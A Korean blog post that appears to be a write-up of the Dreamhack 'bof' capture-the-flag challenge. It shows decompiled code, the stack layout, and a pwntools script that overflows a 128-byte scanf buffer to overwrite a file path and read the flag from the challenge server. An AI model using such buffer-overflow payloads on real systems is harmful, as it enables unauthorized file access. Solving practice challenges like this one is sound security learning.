상세 컨텐츠

본문 제목

[Dreamhack] bof

SYSTEM HACKING/Dreamhack

by koharin 2024. 2. 16. 21:38

본문

728x90
반응형

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rbp
  __int64 v5; // [rsp-98h] [rbp-98h]
  signed int v6; // [rsp-18h] [rbp-18h]
  signed __int16 v7; // [rsp-14h] [rbp-14h]
  __int64 v8; // [rsp-8h] [rbp-8h]

  __asm { endbr64 }
  v8 = v3;
  init();
  v6 = 'ac/.';
  v7 = 116;
  sub_4010D0();
  sub_401130("%144s", &v5);
  read_cat((__int64)&v8, (__int64)&v6);
  sub_4010D0();
  return 0;
}

 

|v5(128) | v6(4)|v7(12)|v8(8)|SFP(8)|RET(8)|

scanf 시 v5(128) + v6(4) + v7(12)까지 overwrite 가능

scanf 시 144를 입력받으면 v6까지 덮을 수 있게 된다. 즉, buffer overflow를 이용해서 파일 경로를 수정할 수 있음.

따라서 128은 아무거나 채우고 v6 위치에 flag 경로를 주면 flag를 열 수 있다.

 

#!/usr/bin/python3
from pwn import *

#p = process("./bof")
p = remote("host3.dreamhack.games", 12883)

payload = b'A'*128 + b'/home/bof/flag'

p.sendlineafter(b'meow? ', payload)

p.interactive()

 

728x90
반응형

'SYSTEM HACKING > Dreamhack' 카테고리의 다른 글

[Dreamhack] Return Address Overwrite  (0) 2024.03.01
[Dreamhack] off_by_one_001  (0) 2024.02.19
[Dreamhack] pwn-library  (0) 2024.01.10
[Dreamhack] shell-basic  (1) 2024.01.10
[Dreamhack] master_canary  (0) 2022.01.05

관련글 더보기